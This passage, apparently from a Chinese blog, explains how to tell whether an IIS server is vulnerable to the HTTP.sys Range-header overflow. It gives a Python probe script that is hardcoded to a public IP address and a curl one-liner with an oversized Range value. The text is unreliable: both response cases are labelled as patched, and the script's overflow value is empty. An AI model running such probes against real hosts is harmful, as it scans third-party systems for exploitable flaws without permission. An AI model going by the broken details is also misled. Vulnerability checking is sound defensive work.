LanOBTGAlHHGKQgtBZMHfsPVPHouCr5SG8uLi1kmvV+iJ+UR2Lk83pQq3mBBW00qMJKyz8ebskPqCb1ckhxsKqVHXItxpdjw9snWFW8bvBWBkYL9bGfgN7WneszaFp1e8iU0B9byxnvnQ8N+F42/YJmJhbTz1Hi3biMu6gHGeTtX5fll9vl4sbyandlmobOpihdfDlmsY18pdtbp1P3Qw17O7Osz5uafrYXGgZ15CNkZa56lppxeqMcbaIrkJRU8mhbmZdJ+Nm9btP/0aeHteK5Tejb6uxA6BYF4NhkXoSQmb8BIVk9Zp2fEc+3ZCeNlxHt2Nms7YhehHhDXsLYtm31mv+Zw8STcp36+wzPFtAeIS/jNO9I8ld+pRnwg2m1uxH2m2O0VGvxhKASPdiRlQJTRznMv7jG0+Su3EEIIIV5DfD9035v5S+qYMNd6/U1f2fMfvE5veZbkaQB/Y+oPTyGEEGWMCu29fZKpi3NPcxlXO2wkFEPqBL4GSX2foSqvixFCCCFMxvuh22ViwzE0U/ZqVZnpb3rnG80O2L7XMsA4VZEWQghRYKzQ7X7o/kqxVHneXlWhsc1Q58sqNNNBCCGEGOgr9L7vxt1WhfLDlDGmWM5GgPesTq/c4qC26Edy0rsQQgiBsa/lJp/L7a0yq1ehQmPXqc64BqcqNKM59C6EEEJgxmPo807o83Lu8vuhX1OheUlh44UVmjElhBBChNhPLJnfnLFVa2eqWvPlja/cjIXnVWiVZyGEEDXsK8XOw+jwudymxWPCXOv190x5MoAGRqdp0PTrfZzj9cwKIYQQPPZ56H3f5/uhhRBCCPEy7HdbzfdDCyGEEOKVjMfQj8fjfPvk7W/OEEIIIX4z7pViqtBCCCHEjRgVWsfQQgghxO2M13Kf5dl8c4YQQgghXoZxLXd7NLcqtBBCCHEXxpVi50loHUMLIYQQN+K+fVLnoYUQQogbod4+KYQQQogXMz6x5LyK+7zn6nx/RnvV1fnv2eFs738Sb53bqu+Odlx+mu0b+/ddNhftD4Xmog1sawd5raW/pds03q5X7433F7H33ZQH5UF5UB6UB+XhHfKwnf8NXQfRbfnkfERok9v+baZ692fjKetc6M22bnM69n0fxs7bbAiv79Acze7MYJUH5UF5UB6UB+XhrfKwNXPt747vP/df9cP6eFrPx58/ZFqOhpS1Vc1Cs9yy3+eo/wul/du7HgYO2s7N1v+R0vJ+br+zQx9I/1F5UB6UB+VBeVAe3icPfz2X+9HV82axH9xnoWntczFYa9kZUtanw9wwQ5yeiz6nzWNjToSnp/8DSnlQHpQH5UF5UB7eIQ//B8jkV9RHH6rTAAAAAElFTkSuQmCC" alt="" />
这就是判断是否打了补丁的关键.
打了补丁: HTTP!RtlULongLongAdd在遇到非法range头的时候会返回一个 STATUS_INVALID_PARAMETER 错误, 接着HTTP!UlpParseRang 产生一个”Invalid Header” 错误信息给客户端.
打了补丁: HTTP!UlpParseRange 返回 0, 接着产生一个 “Requested Range Not Satisfiable”.错误信息给客户端.
2、漏洞测试脚本:
#sutff.py
import socket
import random ipAddr = "218.90.198.20"
hexAllFfff = "" req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n" print("[*] Audit Started")
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req1)
boringResp = client_socket.recv(1024)
if "Microsoft" not in boringResp:
print("[*] Not IIS")
exit(0)
client_socket.close()
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req)
goodResp = client_socket.recv(1024)
if "Requested Range Not Satisfiable" in goodResp:
print("[!!] Looks VULN")
elif " The request has an invalid header name" in goodResp:
print("[*] Looks Patched")
else:
print("[*] Unexpected response, cannot discern patch status")
一个简单的检测方法:
curl http://xxx.com/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"|grep "range is not satisfiable"
有发现 返回”range is not satisfiable”就说明有漏洞了.